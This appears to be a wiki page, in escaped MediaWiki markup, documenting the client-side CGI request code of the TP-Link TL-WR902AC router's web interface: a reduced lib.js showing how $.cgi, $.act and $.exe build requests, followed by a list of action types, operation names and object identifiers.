&amp;lt;b&amp;gt;Client-side CGI Insights&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC FW170828&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 13px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Strongly Reduced version of the lib.js, showing the $.cgi, $.act and $.exe methods.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;# lib_modified.js&lt;br /&gt;
(function(){&lt;br /&gt;
var window = this,&lt;br /&gt;
	&lt;br /&gt;
	window.$ = {&lt;br /&gt;
&lt;br /&gt;
		cgi: function(path, arg, hook, noquit, unerr) {&lt;br /&gt;
			var expr = /(^|\/)(\w+)\.htm$/;&lt;br /&gt;
			if ($.local || $.sim) path = $.params;&lt;br /&gt;
			else path = (path ? path : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;)) + (arg ? &amp;quot;?&amp;quot; + $.toStr(arg, &amp;quot;=&amp;quot;, &amp;quot;&amp;amp;&amp;quot;) : &amp;quot;&amp;quot;);&lt;br /&gt;
			$.ret = 0;&lt;br /&gt;
			var func = hook ? function(ret) {if (!ret &amp;amp;&amp;amp; (ret = $.ret)) $.err(&amp;quot;cgi&amp;quot;, $.ret, unerr); if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);} : null;&lt;br /&gt;
			var ret =  $.io(path, true, func, null, noquit, unerr);&lt;br /&gt;
			&lt;br /&gt;
			if (!ret &amp;amp;&amp;amp; (ret = $.ret))&lt;br /&gt;
				$.err(&amp;quot;cgi&amp;quot;, $.ret, unerr);&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
&lt;br /&gt;
		act: function(type, oid, stack, pStack, attrs) {&lt;br /&gt;
&lt;br /&gt;
			stack = stack ? stack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			pStack = pStack ? pStack : &amp;quot;0,0,0,0,0,0&amp;quot;;&lt;br /&gt;
			attrs = $.toStr(attrs, &amp;quot;=&amp;quot;, &amp;quot;\r\n&amp;quot;, true);&lt;br /&gt;
			attrs = attrs.replace(/__stack=[0-9,]*\r\n/, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
			var ret = null;&lt;br /&gt;
&lt;br /&gt;
			switch (type) {&lt;br /&gt;
				case ACT_ADD:		&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_GET:		&lt;br /&gt;
					ret = {};&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_GL:		&lt;br /&gt;
				case ACT_GS:		&lt;br /&gt;
					ret = [];&lt;br /&gt;
					break;&lt;br /&gt;
				case ACT_SET:		&lt;br /&gt;
				case ACT_CGI:&lt;br /&gt;
					oid = oid ? oid : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;);&lt;br /&gt;
					if ($.cn) attrs = $.ansi(attrs);&lt;br /&gt;
				case ACT_DEL:		&lt;br /&gt;
				case ACT_OP:&lt;br /&gt;
					break;&lt;br /&gt;
				default: &lt;br /&gt;
					return false;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			$.as.push([type, null, oid, stack, pStack, attrs, attrs ? attrs.match(/\r\n/g).length : 0]);&lt;br /&gt;
			$.ds.push(ret);&lt;br /&gt;
			&lt;br /&gt;
			return ret;&lt;br /&gt;
		},&lt;br /&gt;
		&lt;br /&gt;
		exe: function(hook, unerr) {&lt;br /&gt;
&lt;br /&gt;
			var url = &amp;quot;/cgi?&amp;quot;;&lt;br /&gt;
			var data = &amp;quot;&amp;quot;;&lt;br /&gt;
			var index = 0;&lt;br /&gt;
			var obj;&lt;br /&gt;
			var bAnsi = false;&lt;br /&gt;
			&lt;br /&gt;
			if ($.as.length == 0 || $.local || $.sim) {&lt;br /&gt;
				if (hook &amp;amp;&amp;amp; typeof hook === &amp;quot;function&amp;quot;) $.timeout(hook, 200);&lt;br /&gt;
				while($.as.pop() !== undefined);&lt;br /&gt;
				while($.ds.pop() !== undefined);&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			$.empty($.id(&amp;quot;ansiform&amp;quot;));&lt;br /&gt;
			while ($.ansiarg.length) {&lt;br /&gt;
				obj = $.ansiarg.shift();&lt;br /&gt;
				$.append($.id(&amp;quot;ansiform&amp;quot;), &amp;quot;&amp;lt;input type=&#039;hidden&#039; name=&#039;&amp;quot;+obj[0]+&amp;quot;&#039; value=&#039;&amp;quot;+obj[1].replace(/\&amp;amp;/g, &amp;quot;&amp;amp;amp;&amp;quot;).replace(/&amp;lt;/g, &amp;quot;&amp;amp;lt;&amp;quot;).replace(/&#039;/g, &amp;quot;&amp;amp;apos;&amp;quot;)+&amp;quot;&#039; /&amp;gt;&amp;quot;);&lt;br /&gt;
				bAnsi = true;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			while(obj = $.as.shift()){&lt;br /&gt;
				url += obj[0] + (obj[1] ? &amp;quot;=&amp;quot; + obj[1] : &amp;quot;&amp;quot;) + &amp;quot;&amp;amp;&amp;quot;;&lt;br /&gt;
				data += &amp;quot;[&amp;quot; + obj[2] + &amp;quot;#&amp;quot; + obj[3] + &amp;quot;#&amp;quot; + obj[4] + &amp;quot;]&amp;quot; + index + &amp;quot;, &amp;quot; + obj[6] + &amp;quot;\r\n&amp;quot; + obj[5];&lt;br /&gt;
				index++;&lt;br /&gt;
			}			&lt;br /&gt;
			url = url.substr(0, url.length - 1);&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var tmpds = $.mkArr($.ds);&lt;br /&gt;
				while($.ds.length) $.ds.pop();	&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			var resolve = function(ret, ds) {&lt;br /&gt;
				if (typeof ret !== &amp;quot;number&amp;quot;) {&lt;br /&gt;
					var lines = ret.split(&#039;\n&#039;);&lt;br /&gt;
					ret = 0;&lt;br /&gt;
					$.ret = 0;&lt;br /&gt;
					var scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
					&lt;br /&gt;
					for (var i = 0, l = lines.length; i &amp;lt; l; i++) {&lt;br /&gt;
						if (lines[i] == &amp;quot;&amp;quot;) continue;&lt;br /&gt;
						if (lines[i].charAt(0) == &amp;quot;[&amp;quot;) {&lt;br /&gt;
							if (scripts != &amp;quot;&amp;quot;) {&lt;br /&gt;
								$.script(scripts);&lt;br /&gt;
								if ($.ret) {&lt;br /&gt;
									ret = $.ret;&lt;br /&gt;
									$.err(&amp;quot;cgi&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
								scripts = &amp;quot;&amp;quot;;&lt;br /&gt;
							}&lt;br /&gt;
							var n = lines[i].indexOf(&amp;quot;]&amp;quot;);&lt;br /&gt;
							var j = parseInt(lines[i].substr(n+1), 10);&lt;br /&gt;
							var stack = lines[i].substr(1, n-1);&lt;br /&gt;
							var instance;&lt;br /&gt;
							if (stack == &amp;quot;error&amp;quot;) {&lt;br /&gt;
								if (j) {&lt;br /&gt;
									ret = j;&lt;br /&gt;
									if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) $.err(&amp;quot;exe&amp;quot;, ret, unerr);&lt;br /&gt;
									break;&lt;br /&gt;
								}&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] instanceof Array) {&lt;br /&gt;
								instance = {__stack: stack};&lt;br /&gt;
								ds[j].push(instance);&lt;br /&gt;
							}&lt;br /&gt;
							else if (ds[j] != null) {&lt;br /&gt;
								instance  = ds[j];&lt;br /&gt;
								instance.__stack = stack;&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
						else {&lt;br /&gt;
							if (stack == &amp;quot;cgi&amp;quot;) {&lt;br /&gt;
								scripts += lines[i] + &#039;\n&#039;;&lt;br /&gt;
							}&lt;br /&gt;
							else {&lt;br /&gt;
								var attr = lines[i].split(&amp;quot;=&amp;quot;);&lt;br /&gt;
								instance[attr[0]] = attr.slice(1).join(&#039;=&#039;);&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
					}&lt;br /&gt;
				}&lt;br /&gt;
				while(ds.length) ds.pop();&lt;br /&gt;
				return ret;&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (bAnsi) {&lt;br /&gt;
				var formObj = $.d.forms[0];	&lt;br /&gt;
				try {&lt;br /&gt;
					formObj.target = &amp;quot;up_frame&amp;quot;;&lt;br /&gt;
					formObj.action = &amp;quot;/cgi/ansi&amp;quot;;&lt;br /&gt;
					formObj.submit();&lt;br /&gt;
				}catch(e){}&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			if (hook) {&lt;br /&gt;
				var resolve2 = function(){&lt;br /&gt;
					$.io(url, false, function(ret){ &lt;br /&gt;
						ret = resolve(ret, tmpds); &lt;br /&gt;
						if (typeof hook === &amp;quot;function&amp;quot;) hook(ret);&lt;br /&gt;
					}, data, false, unerr)&lt;br /&gt;
				};&lt;br /&gt;
				if (bAnsi) $.timeout(resolve2, 100);&lt;br /&gt;
				else resolve2();&lt;br /&gt;
				return 0;&lt;br /&gt;
			}&lt;br /&gt;
			else {&lt;br /&gt;
				while(ret = $.io(url, false, null, data, false, unerr)) {&lt;br /&gt;
					ret = resolve(ret, $.ds);&lt;br /&gt;
					if (ret != ERR_HTTP_ERR_CGI_INVALID_ANSI) return ret;&lt;br /&gt;
					count++;&lt;br /&gt;
					if (count &amp;gt; 3) return $.err(&amp;quot;exe&amp;quot;, ERR_HTTP_ERR_CGI_INVALID_ANSI, unerr);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	};&lt;br /&gt;
})();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; CGI parameters extracted from lib.js and oid_str.js&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Type&lt;br /&gt;
var ACT_GET = 1;	//----&lt;br /&gt;
var ACT_SET = 2;	//----&lt;br /&gt;
var ACT_ADD = 3;&lt;br /&gt;
var ACT_DEL = 4;&lt;br /&gt;
var ACT_GL  = 5;&lt;br /&gt;
var ACT_GS  = 6;&lt;br /&gt;
var ACT_OP  = 7;	//----&lt;br /&gt;
var ACT_CGI = 8;	//----&lt;br /&gt;
&lt;br /&gt;
// Operations&lt;br /&gt;
var ACT_OP_REBOOT 				= &amp;quot;ACT_REBOOT&amp;quot;;				//----&lt;br /&gt;
var ACT_OP_FACTORY_RESET 		= &amp;quot;ACT_FACTORY_RESET&amp;quot;;		//----&lt;br /&gt;
var ACT_OP_DHCP_RENEW 			= &amp;quot;ACT_DHCP_RENEW&amp;quot;;&lt;br /&gt;
var ACT_OP_DHCP_RELEASE 		= &amp;quot;ACT_DHCP_RELEASE&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_CONN 			= &amp;quot;ACT_PPP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPP_DISCONN 			= &amp;quot;ACT_PPP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_GET_NEW_PIN 	= &amp;quot;ACT_WLAN_GET_NEW_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_RESTORE_PIN 	= &amp;quot;ACT_WLAN_RESTORE_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_UPDATE_ASSOC 	= &amp;quot;ACT_WLAN_UPDATE_ASSOC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PBC 		= &amp;quot;ACT_WLAN_WPS_PBC&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_WPS_PIN 		= &amp;quot;ACT_WLAN_WPS_PIN&amp;quot;;&lt;br /&gt;
var ACT_OP_WLAN_SCAN 			= &amp;quot;ACT_WLAN_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_NTP_REQUEST 			= &amp;quot;ACT_NTP_REQUEST&amp;quot;;&lt;br /&gt;
var ACT_OP_DLNA_MANUAL_SCAN 	= &amp;quot;ACT_DLNA_MANUAL_SCAN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_CONN 			= &amp;quot;ACT_L2TP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_L2TP_DISCONN 		= &amp;quot;ACT_L2TP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_CONN 			= &amp;quot;ACT_PPTP_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_PPTP_DISCONN 		= &amp;quot;ACT_PPTP_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_WAN_TYPE_DETECT 		= &amp;quot;ACT_WAN_TYPE_DETECT&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_CONN 			= &amp;quot;ACT_BPA_CONN&amp;quot;;&lt;br /&gt;
var ACT_OP_BPA_DISCONN 			= &amp;quot;ACT_BPA_DISCONN&amp;quot;;&lt;br /&gt;
var ACT_OP_IPPING 				= &amp;quot;ACT_OP_IPPING&amp;quot;;&lt;br /&gt;
var ACT_OP_TRACERT 				= &amp;quot;ACT_OP_TRACERT&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
// Object Identifier&lt;br /&gt;
var IGD = &amp;quot;IGD&amp;quot;&lt;br /&gt;
var IGD_DEV_INFO = &amp;quot;IGD_DEV_INFO&amp;quot;									//----&lt;br /&gt;
var SYSLOG_CFG = &amp;quot;SYSLOG_CFG&amp;quot;&lt;br /&gt;
var MANAGEMENT_SERVER = &amp;quot;MANAGEMENT_SERVER&amp;quot;&lt;br /&gt;
var ETH_SWITCH = &amp;quot;ETH_SWITCH&amp;quot;&lt;br /&gt;
var SYS_CFG = &amp;quot;SYS_CFG&amp;quot;&lt;br /&gt;
var NET_CFG = &amp;quot;NET_CFG&amp;quot;&lt;br /&gt;
var USER_CFG = &amp;quot;USER_CFG&amp;quot;											//----&lt;br /&gt;
var CURRENT_USER = &amp;quot;CURRENT_USER&amp;quot;&lt;br /&gt;
var APP_CFG = &amp;quot;APP_CFG&amp;quot;&lt;br /&gt;
var HTTP_CFG = &amp;quot;HTTP_CFG&amp;quot;&lt;br /&gt;
var PH_DDNS_CFG = &amp;quot;PH_DDNS_CFG&amp;quot;&lt;br /&gt;
var PH_RT_DATA = &amp;quot;PH_RT_DATA&amp;quot;&lt;br /&gt;
var DYN_DNS_CFG = &amp;quot;DYN_DNS_CFG&amp;quot;&lt;br /&gt;
var UPNP_CFG = &amp;quot;UPNP_CFG&amp;quot;&lt;br /&gt;
var UPNP_PORTMAPPING = &amp;quot;UPNP_PORTMAPPING&amp;quot;&lt;br /&gt;
var DIAG_TOOL = &amp;quot;DIAG_TOOL&amp;quot;&lt;br /&gt;
var CWMP_CFG = &amp;quot;CWMP_CFG&amp;quot;&lt;br /&gt;
var SNMP_CFG = &amp;quot;SNMP_CFG&amp;quot;&lt;br /&gt;
var NOIP_DNS_CFG = &amp;quot;NOIP_DNS_CFG&amp;quot;&lt;br /&gt;
var CMX_DNS_CFG = &amp;quot;CMX_DNS_CFG&amp;quot;&lt;br /&gt;
var ACL_CFG = &amp;quot;ACL_CFG&amp;quot;&lt;br /&gt;
var WAN_TYPE_DETECT = &amp;quot;WAN_TYPE_DETECT&amp;quot;&lt;br /&gt;
var DMZ_HOST_CFG = &amp;quot;DMZ_HOST_CFG&amp;quot;&lt;br /&gt;
var TIME = &amp;quot;TIME&amp;quot;&lt;br /&gt;
var HOUR = &amp;quot;HOUR&amp;quot;&lt;br /&gt;
var L3_FORWARDING = &amp;quot;L3_FORWARDING&amp;quot;&lt;br /&gt;
var L3_FORWARDING_ENTRY = &amp;quot;L3_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING = &amp;quot;L3_IP6_FORWARDING&amp;quot;&lt;br /&gt;
var L3_IP6_FORWARDING_ENTRY = &amp;quot;L3_IP6_FORWARDING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING = &amp;quot;L2_BRIDGING&amp;quot;&lt;br /&gt;
var L2_BRIDGING_ENTRY = &amp;quot;L2_BRIDGING_ENTRY&amp;quot;&lt;br /&gt;
var L2_BRIDGING_FILTER = &amp;quot;L2_BRIDGING_FILTER&amp;quot;&lt;br /&gt;
var L2_BRIDGING_INTF = &amp;quot;L2_BRIDGING_INTF&amp;quot;&lt;br /&gt;
var LAN_DEV = &amp;quot;LAN_DEV&amp;quot;&lt;br /&gt;
var LAN_HOST_CFG = &amp;quot;LAN_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP_INTF = &amp;quot;LAN_IP_INTF&amp;quot;&lt;br /&gt;
var LAN_DHCP_STATIC_ADDR = &amp;quot;LAN_DHCP_STATIC_ADDR&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL = &amp;quot;LAN_DHCP_COND_SRV_POOL&amp;quot;&lt;br /&gt;
var LAN_DHCP_COND_SRV_POOL_OPT = &amp;quot;LAN_DHCP_COND_SRV_POOL_OPT&amp;quot;&lt;br /&gt;
var YANDEX_DNS_POOL = &amp;quot;YANDEX_DNS_POOL&amp;quot;&lt;br /&gt;
var LAN_IP6_HOST_CFG = &amp;quot;LAN_IP6_HOST_CFG&amp;quot;&lt;br /&gt;
var LAN_IP6_INTF = &amp;quot;LAN_IP6_INTF&amp;quot;&lt;br /&gt;
var LAN_ETH_INTF = &amp;quot;LAN_ETH_INTF&amp;quot;&lt;br /&gt;
var LAN_HOSTS = &amp;quot;LAN_HOSTS&amp;quot;&lt;br /&gt;
var LAN_HOST_ENTRY = &amp;quot;LAN_HOST_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN = &amp;quot;LAN_WLAN&amp;quot;&lt;br /&gt;
var LAN_WLAN_WPS = &amp;quot;LAN_WLAN_WPS&amp;quot;&lt;br /&gt;
var LAN_WLAN_MACTABLEENTRY = &amp;quot;LAN_WLAN_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_ASSOC_DEV = &amp;quot;LAN_WLAN_ASSOC_DEV&amp;quot;&lt;br /&gt;
var LAN_WLAN_BSSDESC_ENTRY = &amp;quot;LAN_WLAN_BSSDESC_ENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WEPKEY = &amp;quot;LAN_WLAN_WEPKEY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WDSBRIDGE = &amp;quot;LAN_WLAN_WDSBRIDGE&amp;quot;&lt;br /&gt;
var LAN_WLAN_MULTISSID = &amp;quot;LAN_WLAN_MULTISSID&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDENTRY = &amp;quot;LAN_WLAN_MSSIDENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_MSSIDWEPKEY = &amp;quot;LAN_WLAN_MSSIDWEPKEY&amp;quot;&lt;br /&gt;
var MSSID_MACTABLEENTRY = &amp;quot;MSSID_MACTABLEENTRY&amp;quot;&lt;br /&gt;
var LAN_WLAN_WLBRNAME = &amp;quot;LAN_WLAN_WLBRNAME&amp;quot;&lt;br /&gt;
var LAN_WLAN_TASK_SCHEDULE = &amp;quot;LAN_WLAN_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var LAN_WLAN_QUICKSAVE = &amp;quot;LAN_WLAN_QUICKSAVE&amp;quot;&lt;br /&gt;
var LAN_WLAN_GUESTNET = &amp;quot;LAN_WLAN_GUESTNET&amp;quot;&lt;br /&gt;
var LAN_IGMP_SNOOP = &amp;quot;LAN_IGMP_SNOOP&amp;quot;&lt;br /&gt;
var WAN_DEV = &amp;quot;WAN_DEV&amp;quot;&lt;br /&gt;
var WAN_COMMON_INTF_CFG = &amp;quot;WAN_COMMON_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_CFG = &amp;quot;WAN_DSL_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS = &amp;quot;WAN_DSL_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS_TOTAL = &amp;quot;WAN_DSL_INTF_STATS_TOTAL&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTOPVC = &amp;quot;WAN_DSL_AUTOPVC&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTO_PVC_PAIR = &amp;quot;WAN_DSL_AUTO_PVC_PAIR&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF = &amp;quot;WAN_ETH_INTF&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF_STATS = &amp;quot;WAN_ETH_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_PON = &amp;quot;WAN_PON&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF = &amp;quot;WAN_EPON_INTF&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OAM_STATS = &amp;quot;WAN_EPON_INTF_OAM_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_MPCP_STATS = &amp;quot;WAN_EPON_INTF_MPCP_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_STATS = &amp;quot;WAN_EPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OPTICAL_STATS = &amp;quot;WAN_EPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF = &amp;quot;WAN_GPON_INTF&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OMCI_STATS = &amp;quot;WAN_GPON_INTF_OMCI_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_STATS = &amp;quot;WAN_GPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OPTICAL_STATS = &amp;quot;WAN_GPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_CONN_DEVICE = &amp;quot;WAN_CONN_DEVICE&amp;quot;&lt;br /&gt;
var WAN_DSL_LINK_CFG = &amp;quot;WAN_DSL_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_PON_LINK_CFG = &amp;quot;WAN_PON_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_ETH_LINK_CFG = &amp;quot;WAN_ETH_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_USB_3G_LINK_CFG = &amp;quot;WAN_USB_3G_LINK_CFG&amp;quot;&lt;br /&gt;
var USB_MODEM_PARAM = &amp;quot;USB_MODEM_PARAM&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN = &amp;quot;WAN_L2TP_CONN&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_PORTMAPPING = &amp;quot;WAN_L2TP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var L2TP_CONN_PORTTRIGGERING = &amp;quot;L2TP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_STATS = &amp;quot;WAN_L2TP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN = &amp;quot;WAN_PPTP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_PORTMAPPING = &amp;quot;WAN_PPTP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPTP_CONN_PORTTRIGGERING = &amp;quot;PPTP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_STATS = &amp;quot;WAN_PPTP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_IP_CONN = &amp;quot;WAN_IP_CONN&amp;quot;&lt;br /&gt;
var WAN_IP_CONN_PORTMAPPING = &amp;quot;WAN_IP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var IP_CONN_PORTTRIGGERING = &amp;quot;IP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN = &amp;quot;WAN_PPP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_PORTMAPPING = &amp;quot;WAN_PPP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPP_CONN_PORTTRIGGERING = &amp;quot;PPP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_STATS = &amp;quot;WAN_PPP_CONN_STATS&amp;quot;&lt;br /&gt;
var STAT_CFG = &amp;quot;STAT_CFG&amp;quot;&lt;br /&gt;
var STAT_ENTRY = &amp;quot;STAT_ENTRY&amp;quot;&lt;br /&gt;
var DDOS_CFG = &amp;quot;DDOS_CFG&amp;quot;&lt;br /&gt;
var DOS_HOST = &amp;quot;DOS_HOST&amp;quot;&lt;br /&gt;
var ARP = &amp;quot;ARP&amp;quot;&lt;br /&gt;
var ARP_ENTRY = &amp;quot;ARP_ENTRY&amp;quot;&lt;br /&gt;
var ARP_BIND = &amp;quot;ARP_BIND&amp;quot;&lt;br /&gt;
var ARP_BIND_ENTRY = &amp;quot;ARP_BIND_ENTRY&amp;quot;&lt;br /&gt;
var QUEUE_MANAGEMENT = &amp;quot;QUEUE_MANAGEMENT&amp;quot;&lt;br /&gt;
var CLASSIFICATION = &amp;quot;CLASSIFICATION&amp;quot;&lt;br /&gt;
var QOS_APP = &amp;quot;QOS_APP&amp;quot;&lt;br /&gt;
var QOS_INTF = &amp;quot;QOS_INTF&amp;quot;&lt;br /&gt;
var QOS_QUEUE = &amp;quot;QOS_QUEUE&amp;quot;&lt;br /&gt;
var TC = &amp;quot;TC&amp;quot;&lt;br /&gt;
var TC_RULE = &amp;quot;TC_RULE&amp;quot;&lt;br /&gt;
var ALG_CFG = &amp;quot;ALG_CFG&amp;quot;&lt;br /&gt;
var IPTV = &amp;quot;IPTV&amp;quot;&lt;br /&gt;
var DSL_IPTV_CFG = &amp;quot;DSL_IPTV_CFG&amp;quot;&lt;br /&gt;
var ETH_IPTV_CFG = &amp;quot;ETH_IPTV_CFG&amp;quot;&lt;br /&gt;
var FIREWALL = &amp;quot;FIREWALL&amp;quot;&lt;br /&gt;
var INTERNAL_HOST = &amp;quot;INTERNAL_HOST&amp;quot;&lt;br /&gt;
var EXTERNAL_HOST = &amp;quot;EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var TASK_SCHEDULE = &amp;quot;TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var RULE = &amp;quot;RULE&amp;quot;&lt;br /&gt;
var URL_LIST = &amp;quot;URL_LIST&amp;quot;&lt;br /&gt;
var URL_CFG = &amp;quot;URL_CFG&amp;quot;&lt;br /&gt;
var IP6_FIREWALL = &amp;quot;IP6_FIREWALL&amp;quot;&lt;br /&gt;
var IP6_INTERNAL_HOST = &amp;quot;IP6_INTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_EXTERNAL_HOST = &amp;quot;IP6_EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_TASK_SCHEDULE = &amp;quot;IP6_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var IP6_RULE = &amp;quot;IP6_RULE&amp;quot;&lt;br /&gt;
var IP6_TUNNEL = &amp;quot;IP6_TUNNEL&amp;quot;&lt;br /&gt;
var DSLITE = &amp;quot;DSLITE&amp;quot;&lt;br /&gt;
var SIT_6RD = &amp;quot;SIT_6RD&amp;quot;&lt;br /&gt;
var SERVICES = &amp;quot;SERVICES&amp;quot;&lt;br /&gt;
var VOICE = &amp;quot;VOICE&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS_STS = &amp;quot;XTP_VOICE_PROCESS_STS&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS = &amp;quot;XTP_VOICE_PROCESS&amp;quot;&lt;br /&gt;
var VOICE_CAP = &amp;quot;VOICE_CAP&amp;quot;&lt;br /&gt;
var VOICE_CAP_SIP = &amp;quot;VOICE_CAP_SIP&amp;quot;&lt;br /&gt;
var VOICE_CAP_MGCP = &amp;quot;VOICE_CAP_MGCP&amp;quot;&lt;br /&gt;
var VOICE_CAP_CODECS = &amp;quot;VOICE_CAP_CODECS&amp;quot;&lt;br /&gt;
var VOICE_PROF = &amp;quot;VOICE_PROF&amp;quot;&lt;br /&gt;
